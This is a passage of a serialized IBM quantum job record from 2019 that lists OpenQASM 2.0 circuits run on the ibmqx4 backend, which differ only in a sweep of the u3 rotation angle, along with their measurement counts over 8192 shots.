'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1311', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}], 'header': {'backend_name': 'qasm_simulator'}, 'type': 'QASM', 'schema_version': '1.0.0'}, 'date': '2019-03-24T10:03:29.200000+00:00', 'job_id': '5c9755f199c2c6005f6bc532', 'backend_name': 'ibmqx4', 'backend_version': '1.0.0', 'job_status': 'DONE', 'results': [{'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1187', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 939, '0x1': 1292, '0x0': 3425, '0x2': 2536}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1189', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 906, '0x1': 1326, '0x0': 3360, '0x2': 2600}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1191', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1009, '0x1': 1343, '0x0': 3331, '0x2': 2509}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1193', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 952, '0x1': 1285, '0x0': 3431, '0x2': 2524}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1195', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 995, '0x1': 1351, '0x0': 3350, '0x2': 2496}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1197', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1020, '0x1': 1286, '0x0': 3379, '0x2': 2507}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1199', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1019, '0x1': 1363, '0x0': 3376, '0x2': 2434}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1201', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1116, '0x1': 1316, '0x0': 3350, '0x2': 2410}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1203', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1078, '0x1': 1332, '0x0': 3381, '0x2': 2401}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1205', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1081, '0x1': 1349, '0x0': 3375, '0x2': 2387}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1207', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1127, '0x1': 1338, '0x0': 3332, '0x2': 2395}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1209', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1164, '0x1': 1412, '0x0': 3331, '0x2': 2285}}, 'success': True, 'shots': 